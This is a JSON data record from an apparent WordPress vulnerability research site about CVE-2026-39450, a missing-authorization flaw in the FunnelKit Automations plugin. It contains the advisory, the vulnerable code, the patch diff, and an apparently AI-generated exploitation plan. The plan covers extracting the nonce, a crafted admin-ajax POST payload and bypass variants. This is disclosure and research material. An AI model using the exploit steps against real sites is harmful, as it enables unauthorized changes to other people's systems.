[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4EKfCZuwZh6ONMzxTMyKjfq6XGxe_myJXI1ihcJ9wmE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39450","funnelkit-automations-email-marketing-automation-and-crm-for-wordpress-woocommerce-missing-authorization","FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce \u003C= 3.7.3 - Missing Authorization","The FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.","wp-marketing-automations",null,"\u003C=3.7.3","3.8.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-22 00:00:00","2026-04-30 15:12:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F06dfc5d3-3d11-4091-9253-248f799dee75?source=api-prod",9,[22,23,24,25,26,27,28,29],"admin\u002Fclass-bwfan-admin.php","admin\u002Fclass-bwfcrm-base-react-page.php","admin\u002Femail-editor-json\u002Fdefault-form.html","admin\u002Femail-editor-json\u002Fdefault-form.json","admin\u002Ffrontend\u002Fdist\u002F0.e8ec617047b66ba38f1c.js","admin\u002Ffrontend\u002Fdist\u002F1.8436bb0f93081cff097b.js","admin\u002Ffrontend\u002Fdist\u002F1.c6811d528a6dd0fa23e1.css","admin\u002Ffrontend\u002Fdist\u002F10.2f4e98227ace5a363c7a.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-39450 - FunnelKit Automations Missing Authorization\n\n## 1. Vulnerability Summary\nThe **FunnelKit Automations** (formerly Autonami) plugin for WordPress is vulnerable to **Missing Authorization** in the `bwf_migrate_automation` AJAX action. \n\nLocated in `admin\u002Fclass-bwfan-admin.php`, the function `bwfan_migrate_automation` is registered via the `wp_ajax_` hook, making it accessible to any authenticated user. While the function performs a nonce check via `BWFAN_Common::check_nonce()`, it fails to implement any capability checks (e.g., `current_user_can( 'manage_options' )`). This allows a Subscriber-level attacker to modify automation metadata by setting the `v1_migrate` flag to `true` for any automation ID.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `bwf_migrate_automation`\n- **HTTP Method**: POST\n- **Authentication**: Authenticated (Subscriber and above)\n- **Parameters**:\n  - `action`: `bwf_migrate_automation` (Required)\n  - `automation_id`: The ID of the automation to modify (Required)\n  - `_wpnonce`: The secret nonce value (Required)\n- **Vulnerability**: Lack of `current_user_can()` check before executing `BWFAN_Model_Automationmeta::insert_automation_meta_data`.\n\n## 3. Code Flow\n1. **Entry Point**: The `wp_ajax_bwf_migrate_automation` hook triggers `BWFAN_Admin::bwfan_migrate_automation()`.\n2. **Nonce Check**: `BWFAN_Common::check_nonce()` is called. In this plugin, this typically validates the `_wpnonce` POST parameter against the `bwfan_unique_secret` option.\n3. **Data Processing**:\n   - The code retrieves `automation_id` from `$_POST`.\n   - It calls `BWFAN_Model_Automationmeta::insert_automation_meta_data( $id, ['v1_migrate' => true] )`.\n4. **Sink**: The `insert_automation_meta_data` method performs a database `INSERT` or `UPDATE` into the `wp_bwfan_automationmeta` table (or equivalent custom table).\n\n## 4. Nonce Acquisition Strategy\nThe plugin localizes a \"nonce\" value (which is actually a static unique secret) for its React-based admin interface.\n\n1. **Leaked Via**: The `BWFCRM_Base_React_Page` class (parent of dashboard\u002Fautomation pages) prepares `$this->page_data['bwfan_nonce']` using `get_option( 'bwfan_unique_secret', '' )`.\n2. **Accessing the Nonce**:\n   - The plugin enqueues assets on various admin pages. Because the plugin hooks into `personal_options` (`admin\u002Fclass-bwfan-admin.php`), its assets or localized data may be present on the Subscriber's profile page (`\u002Fwp-admin\u002Fprofile.php`).\n   - **Step-by-Step**:\n     1. Login as a Subscriber.\n     2. Navigate to `\u002Fwp-admin\u002Fprofile.php`.\n     3. Use `browser_eval` to extract the secret:\n        ```javascript\n        \u002F\u002F Common FunnelKit localization keys\n        window.bwfan_react_data?.bwfan_nonce || window.bwf_react_data?.bwfan_nonce\n        ```\n   - If not present on the profile page, check the main dashboard if accessible, or create a page with a FunnelKit shortcode if the plugin enqueues the secret on the frontend.\n\n## 5. Exploitation Strategy\n1. **Preparation**:\n   - Create a dummy automation in the database to have a valid `automation_id`.\n2. **Execution**:\n   - Use the `http_request` tool to send the POST request from the Subscriber session.\n3. **Payload**:\n   ```http\n   POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n\n   action=bwf_migrate_automation&automation_id=[TARGET_ID]&_wpnonce=[EXTRACTED_NONCE]\n   ```\n4. **Verification**:\n   - Check the response JSON for `{\"msg\":\"Automation migrated\",\"status\":true}`.\n   - Verify the database change using WP-CLI.\n\n## 6. Test Data Setup\n1. **Create Subscriber**:\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n   ```\n2. **Create Automation**:\n   Since FunnelKit uses custom tables, use `wp eval` to insert a record:\n   ```php\n   \u002F\u002F Create a dummy automation record\n   global $wpdb;\n   $wpdb->insert($wpdb->prefix . 'bwfan_automations', [\n       'title' => 'Test Automation',\n       'status' => 'active'\n   ]);\n   echo \"Automation ID: \" . $wpdb->insert_id;\n   ```\n   *(Note: Verify the exact table prefix `bwfan_` in the environment)*.\n\n## 7. Expected Results\n- The AJAX request should return a `200 OK` status with a JSON body:\n  ```json\n  {\n    \"msg\": \"Automation migrated\",\n    \"status\": true\n  }\n  ```\n- The database table `wp_bwfan_automationmeta` should now contain a row for the specified `automation_id` with `meta_key = 'v1_migrate'` and `meta_value = '1'` (serialized as `b:1;` or simply `1`).\n\n## 8. Verification Steps\n1. **Check Database via WP-CLI**:\n   ```bash\n   wp db query \"SELECT * FROM wp_bwfan_automationmeta WHERE meta_key = 'v1_migrate' AND automation_id = [TARGET_ID];\"\n   ```\n2. **Confirm Absence of Metadata Before Attack**:\n   Run the query before the exploit to ensure it returns empty.\n\n## 9. Alternative Approaches\n- **Missing Nonce Check**: If `BWFAN_Common::check_nonce()` is misconfigured or fails if the parameter is missing, try the request without `_wpnonce`.\n- **Parameter Variation**: The plugin might expect the nonce in the `nonce` parameter instead of `_wpnonce`. \n- **Metadata Overwrite**: Try passing other meta keys in the array if the `insert_automation_meta_data` function is found to be more flexible than the `bwfan_migrate_automation` wrapper suggests (though the provided source explicitly hardcodes `v1_migrate`).","The FunnelKit Automations plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check on the bwf_migrate_automation AJAX function. This allows authenticated attackers with Subscriber-level access or higher to modify metadata for any automation record by setting a 'v1_migrate' flag.","\u002F\u002F admin\u002Fclass-bwfan-admin.php line 119\n\tfunction bwfan_migrate_automation() {\n\t\tBWFAN_Common::check_nonce();\n\n\t\t\u002F\u002F phpcs:disable WordPress.Security.NonceVerification\n\t\tif ( empty( $_POST['automation_id'] ) ) {\n\t\t\t$resp = array(\n\t\t\t\t'msg'    => 'Automation ID is missing',\n\t\t\t\t'status' => false,\n\t\t\t);\n\t\t\twp_send_json( $resp );\n\t\t}\n\n\t\t$id     = sanitize_text_field( $_POST['automation_id'] );\n\t\t$result = BWFAN_Model_Automationmeta::insert_automation_meta_data( $id, [\n\t\t\t'v1_migrate' => true,\n\t\t] );","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-marketing-automations\u002F3.7.3\u002Fadmin\u002Fclass-bwfan-admin.php\t2026-01-22 15:18:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-marketing-automations\u002F3.8.0\u002Fadmin\u002Fclass-bwfan-admin.php\t2026-04-09 11:08:52.000000000 +0000\n@@ -119,6 +119,13 @@\n \tfunction bwfan_migrate_automation() {\n \t\tBWFAN_Common::check_nonce();\n \n+\t\tif ( ! current_user_can( BWFAN_admin::menu_cap() ) ) {\n+\t\t\twp_send_json( array(\n+\t\t\t\t'status' => false,\n+\t\t\t\t'msg'    => __( 'You are not authorized to perform this action', 'wp-marketing-automations' ),\n+\t\t\t) );\n+\t\t}\n+\n \t\t\u002F\u002F phpcs:disable WordPress.Security.NonceVerification\n \t\tif ( empty( $_POST['automation_id'] ) ) {\n \t\t\t$resp = array(","1. Authenticate to the WordPress site as a user with at least Subscriber privileges.\n2. Extract the plugin's security nonce (unique secret) by inspecting localized JavaScript variables on an accessible admin page (e.g., \u002Fwp-admin\u002Fprofile.php), looking for 'bwfan_nonce' inside 'window.bwfan_react_data' or 'window.bwf_react_data'.\n3. Craft a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the following parameters: 'action=bwf_migrate_automation', 'automation_id=[Target Automation ID]', and '_wpnonce=[Extracted Nonce]'.\n4. Execute the request. The plugin will update the 'wp_bwfan_automationmeta' table for the specified ID, setting 'v1_migrate' to true without performing a permission check.","gemini-3-flash-preview","2026-05-04 18:58:09","2026-05-04 18:58:51",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.7.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-marketing-automations\u002Ftags\u002F3.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-marketing-automations.3.7.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-marketing-automations\u002Ftags\u002F3.8.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-marketing-automations.3.8.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-marketing-automations\u002Ftags"]